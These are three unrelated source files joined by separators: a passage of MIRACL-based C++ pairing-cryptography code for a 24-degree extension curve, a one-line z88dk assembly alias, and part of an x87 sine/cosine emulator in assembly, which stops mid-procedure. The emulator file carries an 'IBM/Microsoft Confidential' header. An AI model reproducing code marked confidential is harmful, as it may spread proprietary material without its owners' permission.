if (bit(X,i)==1)
for (j=0;j<n;j++)
{
if (QQ[j]->ptable==NULL)
res*=g(A[j],Q[j],Px[j],Py[j]);
else
res*=gp(QQ[j]->ptable,k[j],Px[j],Py[j]);
}
if (res.iszero()) return 0;
}
delete [] k;
delete [] A;
delete [] Q;
delete [] Py;
delete [] Px;
z.g=res;
return z;
}
//
// R-ate Pairing G2 x G1 -> GT
//
// P is a point of order q in G1. Q(x,y) is a point of order q in G2.
// Note that Q is a point on the sextic twist of the curve over Fp^2, P(x,y) is a point on the
// curve over the base field Fp
//
GT PFC::miller_loop(const G2& QQ,const G1& PP)
{
GT z;
Big n;
int i,j,nb,nbw,nzs;
ECn4 A,Q;
ECn P;
ZZn Px,Py;
BOOL precomp;
ZZn24 r;
Big X=*x;
Q=QQ.g; P=PP.g;
precomp=FALSE;
if (QQ.ptable!=NULL) precomp=TRUE;
normalise(P);
extract(P,Px,Py);
n=X;
A=Q;
nb=bits(n);
r=1;
// Short Miller loop
r.mark_as_miller();
j=0;
for (i=nb-2;i>=0;i--)
{
r*=r;
if (precomp) r*=gp(QQ.ptable,j,Px,Py);
else r*=g(A,A,Px,Py);
if (bit(n,i))
{
if (precomp) r*=gp(QQ.ptable,j,Px,Py);
else r*=g(A,Q,Px,Py);
}
}
z.g=r;
return z;
}
// Automatically generated by Luis Dominguez
ZZn24 HardExpo(ZZn24 &f3x0, ZZn2 &X, Big &x){
//vector=[ 1, 2, 3 ]
ZZn24 r;
ZZn24 xA;
ZZn24 xB;
ZZn24 t0;
ZZn24 t1;
ZZn24 f3x1;
ZZn24 f3x2;
ZZn24 f3x3;
ZZn24 f3x4;
ZZn24 f3x5;
ZZn24 f3x6;
ZZn24 f3x7;
ZZn24 f3x8;
ZZn24 f3x9;
f3x1=pow(f3x0,x);
f3x2=pow(f3x1,x);
f3x3=pow(f3x2,x);
f3x4=pow(f3x3,x);
f3x5=pow(f3x4,x);
f3x6=pow(f3x5,x);
f3x7=pow(f3x6,x);
f3x8=pow(f3x7,x);
f3x9=pow(f3x8,x);
xA=f3x4*inverse(f3x8)*Frobenius(f3x3,X,1)*Frobenius(inverse(f3x7),X,1)*Frobenius(f3x2,X,2)*Frobenius(inverse(f3x6),X,2)*Frobenius(f3x1,X,3)*Frobenius(inverse(f3x5),X,3)*Frobenius(inverse(f3x4),X,4)*Frobenius(inverse(f3x3),X,5)*Frobenius(inverse(f3x2),X,6)*Frobenius(inverse(f3x1),X,7);
xB=f3x0;
t0=xA*xB;
xA=inverse(f3x3)*inverse(f3x5)*f3x7*f3x9*Frobenius(inverse(f3x2),X,1)*Frobenius(inverse(f3x4),X,1)*Frobenius(f3x6,X,1)*Frobenius(f3x8,X,1)*Frobenius(inverse(f3x1),X,2)*Frobenius(inverse(f3x3),X,2)*Frobenius(f3x5,X,2)*Frobenius(f3x7,X,2)*Frobenius(inverse(f3x0),X,3)*Frobenius(inverse(f3x2),X,3)*Frobenius(f3x4,X,3)*Frobenius(f3x6,X,3)*Frobenius(f3x3,X,4)*Frobenius(f3x5,X,4)*Frobenius(f3x2,X,5)*Frobenius(f3x4,X,5)*Frobenius(f3x1,X,6)*Frobenius(f3x3,X,6)*Frobenius(f3x0,X,7)*Frobenius(f3x2,X,7);
xB=f3x0;
t1=xA*xB;
t0=t0*t0;
t0=t0*t1;
r=t0;
return r;
}
void SoftExpo(ZZn24 &f3, ZZn2 &X){
ZZn24 t0;
int i;
t0=f3; f3.conj(); f3/=t0;
f3.mark_as_regular();
t0=f3; for (i=1;i<=4;i++) f3.powq(X); f3*=t0;
f3.mark_as_unitary();
}
GT PFC::final_exp(const GT& z)
{
GT y;
ZZn24 r=z.g;
Big X=*x;
SoftExpo(r,*frob);
y.g=HardExpo(r,*frob,X);
return y;
}
PFC::PFC(int s, csprng *rng)
{
int mod_bits,words;
if (s!=256)
{
cout << "No suitable curve available" << endl;
exit(0);
}
mod_bits=(5*s)/2;
if (mod_bits%MIRACL==0)
words=(mod_bits/MIRACL);
else
words=(mod_bits/MIRACL)+1;
#ifdef MR_SIMPLE_BASE
miracl *mip=mirsys((MIRACL/4)*words,16);
#else
miracl *mip=mirsys(words,0);
mip->IOBASE=16;
#endif
S=s;
B=new Big;
x=new Big;
mod=new Big;
ord=new Big;
cof=new Big;
npoints=new Big;
trace=new Big;
Beta=new ZZn;
frob=new ZZn2;
*B=curveB;
*x=param;
Big X=*x;
*trace=1+X;
*mod=(1+X+X*X-pow(X,4)+2*pow(X,5)-pow(X,6)+pow(X,8)-2*pow(X,9)+pow(X,10))/3;
*ord=1-pow(X,4)+pow(X,8);
*npoints=*mod+1-*trace;
*cof=(X-1); // Neat trick! Whole group is non-cyclic - just has (x-1)^2 as a factor
// So multiplication by x-1 is sufficient to create a point of order q
ecurve(0,*B,*mod,MR_PROJECTIVE);
*Beta=pow((ZZn)2,(*mod-1)/3);
*Beta*=(*Beta); // right cube root of unity
set_frobenius_constant(*frob);
mip->TWIST=MR_SEXTIC_D; // map Server to point on twisted curve E(Fp2)
RNG=rng;
}
PFC::~PFC()
{
delete B;
delete x;
delete mod;
delete ord;
delete cof;
delete npoints;
delete trace;
delete Beta;
delete frob;
mirexit();
}
void endomorph(ECn &A,ZZn &Beta)
{ // apply endomorphism P(x,y) = (Beta*x,y) where Beta is cube root of unity
// Actually (Beta*x,-y) = x^4.P
ZZn x,y;
x=(A.get_point())->X;
y=(A.get_point())->Y;
y=-y;
x*=Beta;
copy(getbig(x),(A.get_point())->X);
copy(getbig(y),(A.get_point())->Y);
}
G1 PFC::mult(const G1& w,const Big& k)
{
G1 z;
ECn Q;
Big X=*x;
if (w.mtable!=NULL)
{ // we have precomputed values
Big e=k;
if (k<0) e=-e;
int i,j,t=w.mtbits; // MR_ROUNDUP(2*S,WINDOW_SIZE);
j=recode(e,t,WINDOW_SIZE,t-1);
z.g=w.mtable[j];
for (i=t-2;i>=0;i--)
{
j=recode(e,t,WINDOW_SIZE,i);
z.g+=z.g;
if (j>0) z.g+=w.mtable[j];
}
if (k<0) z.g=-z.g;
}
else
{
Big x4,u[2],e=k;
x4=X*X; x4*=x4;
u[0]=e%x4; u[1]=e/x4;
Q=w.g;
endomorph(Q,*Beta);
Q=mul(u[0],w.g,u[1],Q);
z.g=Q;
}
return z;
}
// GLV + Galbraith-Scott
G2 PFC::mult(const G2& w,const Big& k)
{
G2 z;
int i,j;
Big X=*x;
if (w.mtable!=NULL)
{ // we have precomputed values
Big e=k;
if (k<0) e=-e;
int i,j,t=w.mtbits; //MR_ROUNDUP(2*S,WINDOW_SIZE);
j=recode(e,t,WINDOW_SIZE,t-1);
z.g=w.mtable[j];
for (i=t-2;i>=0;i--)
{
j=recode(e,t,WINDOW_SIZE,i);
z.g+=z.g;
if (j>0) z.g+=w.mtable[j];
}
if (k<0) z.g=-z.g;
}
else
{
ECn4 Q[8];
Big u[8],e=k;
BOOL small=TRUE;
for (i=0;i<8;i++) {u[i]=e%X; e/=X;}
Q[0]=w.g;
for (i=1;i<8;i++)
{
if (u[i]!=0)
{
small=FALSE;
break;
}
}
if (small)
{
if (u[0]<0)
{
u[0]=-u[0];
Q[0]=-Q[0];
}
z.g=Q[0];
z.g*=u[0];
return z;
}
for (i=1;i<8;i++)
Q[i]=psi(Q[i-1],*frob,1);
for (i=0;i<8;i++)
{
if (u[i]<0)
{u[i]=-u[i];Q[i]=-Q[i];}
}
// simple multi-addition
z.g=mul(8,Q,u);
}
return z;
}
// GLV method + Galbraith-Scott idea
GT PFC::power(const GT& w,const Big& k)
{
GT z;
Big X=*x;
int i;
if (w.etable!=NULL)
{ // precomputation is available
Big e=k;
if (k<0) e=-e;
int i,j,t=w.etbits; // MR_ROUNDUP(2*S,WINDOW_SIZE);
j=recode(e,t,WINDOW_SIZE,t-1);
z.g=w.etable[j];
for (i=t-2;i>=0;i--)
{
j=recode(e,t,WINDOW_SIZE,i);
z.g*=z.g;
if (j>0) z.g*=w.etable[j];
}
if (k<0) z.g=inverse(z.g);
}
else
{
ZZn24 Y[8];
Big u[8],e=k;
for (i=0;i<8;i++) {u[i]=e%X; e/=X;}
Y[0]=w.g;
for (i=1;i<8;i++)
{Y[i]=Y[i-1]; Y[i].powq(*frob);}
// deal with -ve exponents
for (i=0;i<8;i++)
{
if (u[i]<0)
{u[i]=-u[i];Y[i].conj();}
}
// simple multi-exponentiation
z.g=pow(8,Y,u);
}
return z;
}
// Automatically generated by Luis Dominguez
ECn4 HashG2(ECn4& Qx0, Big& x, ZZn2& X){
//vector=[ 1, 2, 3, 4 ]
ECn4 r;
ECn4 xA;
ECn4 xB;
ECn4 xC;
ECn4 t0;
ECn4 t1;
ECn4 Qx0_;
ECn4 Qx1;
ECn4 Qx1_;
ECn4 Qx2;
ECn4 Qx2_;
ECn4 Qx3;
ECn4 Qx3_;
ECn4 Qx4;
ECn4 Qx4_;
ECn4 Qx5;
ECn4 Qx5_;
ECn4 Qx6;
ECn4 Qx6_;
ECn4 Qx7;
ECn4 Qx7_;
ECn4 Qx8;
ECn4 Qx8_;
Qx0_=-(Qx0);
Qx1=x*Qx0;
Qx1_=-(Qx1);
Qx2=x*Qx1;
Qx2_=-(Qx2);
Qx3=x*Qx2;
Qx3_=-(Qx3);
Qx4=x*Qx3;
Qx4_=-(Qx4);
Qx5=x*Qx4;
Qx5_=-(Qx5);
Qx6=x*Qx5;
Qx6_=-(Qx6);
Qx7=x*Qx6;
Qx7_=-(Qx7);
Qx8=x*Qx7;
Qx8_=-(Qx8);
xA=Qx0;
xC=Qx7;
xA+=xC;
xC=psi(Qx2,X,4);
xA+=xC;
xB=Qx0;
xC=Qx7;
xB+=xC;
xC=psi(Qx2,X,4);
xB+=xC;
t0=xA+xB;
xB=Qx2_;
xC=Qx3_;
xB+=xC;
xC=Qx8_;
xB+=xC;
xC=psi(Qx2,X,1);
xB+=xC;
xC=psi(Qx3_,X,1);
xB+=xC;
xC=psi(Qx1,X,6);
xB+=xC;
t0=t0+xB;
xB=Qx4;
xC=Qx5_;
xB+=xC;
xC=psi(Qx0_,X,4);
xB+=xC;
xC=psi(Qx4_,X,4);
xB+=xC;
xC=psi(Qx0,X,5);
xB+=xC;
xC=psi(Qx1_,X,5);
xB+=xC;
xC=psi(Qx2_,X,5);
xB+=xC;
xC=psi(Qx3,X,5);
xB+=xC;
t0=t0+xB;
xA=Qx1;
xC=psi(Qx0_,X,1);
xA+=xC;
xC=psi(Qx1,X,1);
xA+=xC;
xC=psi(Qx4_,X,1);
xA+=xC;
xC=psi(Qx5,X,1);
xA+=xC;
xC=psi(Qx0,X,2);
xA+=xC;
xC=psi(Qx1_,X,2);
xA+=xC;
xC=psi(Qx4_,X,2);
xA+=xC;
xC=psi(Qx5,X,2);
xA+=xC;
xC=psi(Qx0,X,3);
xA+=xC;
xC=psi(Qx1_,X,3);
xA+=xC;
xC=psi(Qx4_,X,3);
xA+=xC;
xC=psi(Qx5,X,3);
xA+=xC;
xC=psi(Qx1,X,4);
xA+=xC;
xC=psi(Qx3,X,4);
xA+=xC;
xC=psi(Qx0_,X,6);
xA+=xC;
xC=psi(Qx2_,X,6);
xA+=xC;
xB=Qx4;
xC=Qx5_;
xB+=xC;
xC=psi(Qx0_,X,4);
xB+=xC;
xC=psi(Qx4_,X,4);
xB+=xC;
xC=psi(Qx0,X,5);
xB+=xC;
xC=psi(Qx1_,X,5);
xB+=xC;
xC=psi(Qx2_,X,5);
xB+=xC;
xC=psi(Qx3,X,5);
xB+=xC;
t1=xA+xB;
t0=t0+t0;
t0=t0+t1;
r=t0;
return r;
}
// random group element
void PFC::random(Big& w)
{
if (RNG==NULL) w=rand(*ord);
else w=strong_rand(RNG,*ord);
}
// random AES key
void PFC::rankey(Big& k)
{
if (RNG==NULL) k=rand(S,2);
else k=strong_rand(RNG,S,2);
}
void PFC::hash_and_map(G2& w,char *ID)
{
int i;
ZZn4 XX;
ZZn2 t;
Big X=*x;
Big x0=H1(ID);
forever
{
x0+=1;
t.set((ZZn)0,(ZZn)x0);
XX.set(t,(ZZn2)0);
if (!w.g.set(XX)) continue;
break;
}
w.g=HashG2(w.g,X,*frob);
}
void PFC::random(G2& w)
{
int i;
ECn4 S;
ZZn4 XX;
ZZn2 t;
Big X=*x;
Big x0;
if (RNG==NULL) x0=rand(*mod);
else x0=strong_rand(RNG,*mod);
forever
{
x0+=1;
t.set((ZZn)0,(ZZn)x0);
XX.set(t,(ZZn2)0);
if (!w.g.set(XX)) continue;
break;
}
w.g=HashG2(w.g,X,*frob);
}
void PFC::hash_and_map(G1& w,char *ID)
{
Big x0=H1(ID);
while (!w.g.set(x0,x0)) x0+=1;
w.g*=*cof;
}
void PFC::random(G1& w)
{
Big x0;
if (RNG==NULL) x0=rand(*mod);
else x0=strong_rand(RNG,*mod);
while (!w.g.set(x0,x0)) x0+=1;
}
Big PFC::hash_to_aes_key(const GT& w)
{
Big m=pow((Big)2,S);
return H2(w.g)%m;
}
Big PFC::hash_to_group(char *ID)
{
Big m=H1(ID);
return m%(*ord);
}
GT operator*(const GT& x,const GT& y)
{
GT z=x;
z.g*=y.g;
return z;
}
GT operator/(const GT& x,const GT& y)
{
GT z=x;
z.g/=y.g;
return z;
}
//
// spill precomputation on GT to byte array
//
int GT::spill(char *& bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*24*bytes_per_big;
ZZn8 a,b,c;
ZZn4 f,s;
ZZn2 p,q;
Big x,y;
if (etable==NULL) return 0;
bytes=new char[len];
for (i=j=0;i<n;i++)
{
etable[i].get(a,b,c);
a.get(f,s);
f.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
s.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
b.get(f,s);
f.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
s.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
c.get(f,s);
f.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
s.get(p,q);
p.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
q.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
}
delete [] etable;
etable=NULL;
return len;
}
//
// restore precomputation for GT from byte array
//
void GT::restore(char *bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*24*bytes_per_big;
ZZn8 a,b,c;
ZZn4 f,s;
ZZn2 p,q;
Big x,y;
if (etable!=NULL) return;
etable=new ZZn24[1<<WINDOW_SIZE];
for (i=j=0;i<n;i++)
{
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
f.set(p,q);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
s.set(p,q);
a.set(f,s);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
f.set(p,q);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
s.set(p,q);
b.set(f,s);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
f.set(p,q);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
p.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
q.set(x,y);
s.set(p,q);
c.set(f,s);
etable[i].set(a,b,c);
}
delete [] bytes;
}
G1 operator+(const G1& x,const G1& y)
{
G1 z=x;
z.g+=y.g;
return z;
}
G1 operator-(const G1& x)
{
G1 z=x;
z.g=-z.g;
return z;
}
//
// spill precomputation on G1 to byte array
//
int G1::spill(char *& bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*2*bytes_per_big;
Big x,y;
if (mtable==NULL) return 0;
bytes=new char[len];
for (i=j=0;i<n;i++)
{
mtable[i].get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
}
delete [] mtable;
mtable=NULL;
return len;
}
//
// restore precomputation for G1 from byte array
//
void G1::restore(char *bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*2*bytes_per_big;
Big x,y;
if (mtable!=NULL) return;
mtable=new ECn[1<<WINDOW_SIZE];
for (i=j=0;i<n;i++)
{
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
mtable[i].set(x,y);
}
delete [] bytes;
}
G2 operator+(const G2& x,const G2& y)
{
G2 z=x;
ECn4 t=y.g;
z.g+=t;
return z;
}
G2 operator-(const G2& x)
{
G2 z=x;
z.g=-z.g;
return z;
}
//
// spill precomputation on G2 to byte array
//
int G2::spill(char *& bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*8*bytes_per_big;
ZZn4 a,b;
ZZn2 f,s;
Big x,y;
if (mtable==NULL) return 0;
bytes=new char[len];
for (i=j=0;i<n;i++)
{
mtable[i].get(a,b);
a.get(f,s);
f.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
s.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
b.get(f,s);
f.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
s.get(x,y);
to_binary(x,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
to_binary(y,bytes_per_big,&bytes[j],TRUE);
j+=bytes_per_big;
}
delete [] mtable;
mtable=NULL;
return len;
}
//
// restore precomputation for G2 from byte array
//
void G2::restore(char *bytes)
{
int i,j,n=(1<<WINDOW_SIZE);
int bytes_per_big=(MIRACL/8)*(get_mip()->nib-1);
int len=n*8*bytes_per_big;
ZZn4 a,b;
ZZn2 f,s;
Big x,y;
if (mtable!=NULL) return;
mtable=new ECn4[1<<WINDOW_SIZE];
for (i=j=0;i<n;i++)
{
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
f.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
s.set(x,y);
a.set(f,s);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
f.set(x,y);
x=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
y=from_binary(bytes_per_big,&bytes[j]);
j+=bytes_per_big;
s.set(x,y);
b.set(f,s);
mtable[i].set(a,b);
}
delete [] bytes;
}
// Fast group membership check for GT
// check if r is of order q
// Test r^q=r^{(p+1-t)/cf}= 1
// so test r^p=r^x and r^cf !=1
// exploit cf=(x-1)*(x-1)/3
BOOL PFC::member(const GT &z)
{
ZZn24 w=z.g;
ZZn24 r=z.g;
ZZn24 rx;
Big X=*x;
if (r*conj(r)!=(ZZn24)1) return FALSE; // not unitary
w.powq(*frob);
rx=pow(r,X);
if (w!=rx) return FALSE;
if (r*pow(rx,X)==rx*rx) return FALSE;
return TRUE;
}
GT PFC::pairing(const G2& x,const G1& y)
{
GT z;
z=miller_loop(x,y);
z=final_exp(z);
return z;
}
GT PFC::multi_pairing(int n,G2 **y,G1 **x)
{
GT z;
z=multi_miller(n,y,x);
z=final_exp(z);
return z;
}
int PFC::precomp_for_mult(G1& w,BOOL small)
{
ECn v=w.g;
int i,j,k,bp,is,t;
if (small) t=MR_ROUNDUP(2*S,WINDOW_SIZE);
else t=MR_ROUNDUP(bits(*ord),WINDOW_SIZE);
w.mtable=new ECn[1<<WINDOW_SIZE];
w.mtable[1]=v;
w.mtbits=t;
for (j=0;j<t;j++)
v+=v;
k=1;
for (i=2;i<(1<<WINDOW_SIZE);i++)
{
if (i==(1<<k))
{
k++;
normalise(v);
w.mtable[i]=v;
for (j=0;j<t;j++)
v+=v;
continue;
}
bp=1;
for (j=0;j<k;j++)
{
if (i&bp)
{
is=1<<j;
w.mtable[i]+=w.mtable[is];
}
bp<<=1;
}
normalise(w.mtable[i]);
}
return (1<<WINDOW_SIZE);
}
int PFC::precomp_for_mult(G2& w,BOOL small)
{
ECn4 v=w.g;
ZZn4 x,y;
int i,j,k,bp,is,t;
if (small) t=MR_ROUNDUP(2*S,WINDOW_SIZE);
else t=MR_ROUNDUP(bits(*ord),WINDOW_SIZE);
w.mtable=new ECn4[1<<WINDOW_SIZE];
w.mtable[1]=v;
w.mtbits=t;
for (j=0;j<t;j++)
v+=v;
k=1;
for (i=2;i<(1<<WINDOW_SIZE);i++)
{
if (i==(1<<k))
{
k++;
w.mtable[i]=v;
for (j=0;j<t;j++)
v+=v;
continue;
}
bp=1;
for (j=0;j<k;j++)
{
if (i&bp)
{
is=1<<j;
w.mtable[i]+=w.mtable[is];
}
bp<<=1;
}
}
return (1<<WINDOW_SIZE);
}
int PFC::precomp_for_power(GT& w,BOOL small)
{
ZZn24 v=w.g;
int i,j,k,bp,is,t;
if (small) t=MR_ROUNDUP(2*S,WINDOW_SIZE);
else t=MR_ROUNDUP(bits(*ord),WINDOW_SIZE);
w.etable=new ZZn24[1<<WINDOW_SIZE];
w.etable[0]=1;
w.etable[1]=v;
w.etbits=t;
for (j=0;j<t;j++)
v*=v;
k=1;
for (i=2;i<(1<<WINDOW_SIZE);i++)
{
if (i==(1<<k))
{
k++;
w.etable[i]=v;
for (j=0;j<t;j++)
v*=v;
continue;
}
bp=1;
w.etable[i]=1;
for (j=0;j<k;j++)
{
if (i&bp)
{
is=1<<j;
w.etable[i]*=w.etable[is];
}
bp<<=1;
}
}
return (1<<WINDOW_SIZE);
}
|
; void *tshc_saddrcright(void *saddr)
SECTION code_clib
SECTION code_arch
PUBLIC tshc_saddrcright
EXTERN zx_saddrcright
defc tshc_saddrcright = zx_saddrcright
|
; SCCSID = @(#)emsincos.asm 13.5 90/03/27
page ,132
subttl emsincos - fsin, fcos and fsincos
;***
;emulator.asm - 80387 emulator
;
; IBM/Microsoft Confidential
;
; Copyright (c) IBM Corporation 1987, 1989
; Copyright (c) Microsoft Corporation 1987, 1989
;
; All Rights Reserved
;
;Purpose:
; Code for fsin, fcos and fsincos
;
;Revision History:
; See emulator.hst
;
;*******************************************************************************
lab eFsincosStackOver
or SEL[CURerr], StackFlag or Invalid
test SEL[CWmask], Invalid
JSZ eFsincosStackOverRet
mov SEL[rsi.lMan0], 0 ; st(0) = Ind
mov SEL[rsi.lMan1], 0c0000000h
mov SEL[rsi.wExp], 7fffh - IexpBias
mov SEL[rsi.bTag], bTAG_NAN
mov SEL[rsi.bFlags], bSign
mov SEL[rdi.lMan0], 0 ; st(-1) = Ind
mov SEL[rdi.lMan1], 0c0000000h
mov SEL[rdi.wExp], 7fffh - IexpBias
mov SEL[rdi.bTag], bTAG_NAN
mov SEL[rdi.bFlags], bSign
mov SEL[CURstk], rdi ; push stack
lab eFsincosStackOverRet
ret
lab eFSINCOS
mov esi, SEL[CURStk] ; esi = st(0)
mov edi, esi
PrevStackElem edi ; edi = st(-1)
cmp SEL[edi.bTag], bTAG_EMPTY
JSNE eFsincosStackOver
cmp SEL[esi.bTag], bTAG_NAN
JSNE eFsincosNotSNaN
test SEL[esi.bMan7], 40h
JSNZ eFsincosNotSNaN
test SEL[CWmask], Invalid
JSNZ eFsincosNotSNaN
or SEL[CURerr], Invalid
ret
lab eFsincosNotSNaN
ifdef NT386
push eax
mov eax, dword ptr SEL[rsi]
mov dword ptr SEL[rdi], eax
mov eax, dword ptr SEL[rsi+4]
mov dword ptr SEL[rdi+4], eax
mov eax, dword ptr SEL[rsi+8]
mov dword ptr SEL[rdi+8], eax
add rsi, Reg87Len
add rdi, Reg87Len
pop eax
else
push ds ; Copy current stack into st(-1)
pop es
movsd
movsd
movsd
endif
call eFSIN
PUSHST
call eFCOS
ret
lab eFcosSpecial
mov esp, ebp
pop ebp
mov SEL[RESULT], esi
mov al, SEL[esi.bTag]
cmp al, bTAG_ZERO
JSNE eFcosInf
lab eFcosRetOne
mov SEL[esi.lMan0], 0
mov SEL[esi.lMan1], 080000000h
mov SEL[esi.wExp], 3fffh - IexpBias
mov SEL[esi.bFlags], 0
mov SEL[esi.bTag], bTAG_VALID
ret
lab eFcosInf
cmp al, bTAG_INF
JE RetIndInv
lab eFcosNaN
jmp OneArgOpNaNRet
cProc eFCOS,<PLM,PUBLIC>,<>
localT temp
localB SignFlag
cBegin
mov esi, SEL[CURstk]
cmp SEL[esi.bTag], bTAG_VALID
jne eFcosSpecial
or SEL[CURerr], Precision
and SEL[esi].bFlags, not bSign ; st(0) = fabs( st(0) );
call SinCosReduce ; Set ah to condition code.
add SEL[esi].wExp, IExpBias
push SEL[esi].wExp
push SEL[esi].lMan1
push SEL[esi].lMan0
lea ecx, [temp]
push ecx
mov bl, ah ; if octant 2, 3, 4, or 5 then final
and bl, bOCT2 or bOCT4 ; result must be negative
mov [SignFlag], bl
test ah, bOCT1 or bOCT2 ; if octant is 1, 2, 5, 6 then must
jpo CosCallSin ; do sin()
call __FASTLDCOS
jmp short CosCopyRes
CosCallSin:
call __FASTLDSIN
CosCopyRes:
mov eax, dword ptr [temp]
mov SEL[esi].lMan0, eax
mov eax, dword ptr [temp+4]
mov SEL[esi].lMan1, eax
mov ax, word ptr [temp+8]
sub ax, IExpBias
mov SEL[esi].wExp, ax
cmp [SignFlag], 0
jpe CosDone
or SEL[esi].bFlags, bSign ; Make result negative.
CosDone:
cEnd
lab eFsinSpecial
mov esp, ebp
pop ebp
mov al, SEL[esi.bTag]
cmp al, bTAG_ZERO
JSNE eFsinInf
lab eFsinZero
ret
lab eFsinInf
cmp al, bTAG_INF
JE RetIndInv
lab eFsinNaN
jmp OneArgOpNaNRet
cProc eFSIN,<PLM,PUBLIC>,<>
localT temp
localB SignFlag
cBegin
mov esi, SEL[CURstk]
cmp SEL[esi.bTag], bTAG_VALID
jne eFsinSpecial
or SEL[CURerr], Precision
mov al, SEL[esi].bFlags
and SEL[esi].bFlags, not bSign
shl al, 1 ; shift sign into carry.
sbb cl, cl ; set cl to -1 if argument is negative.
push ecx
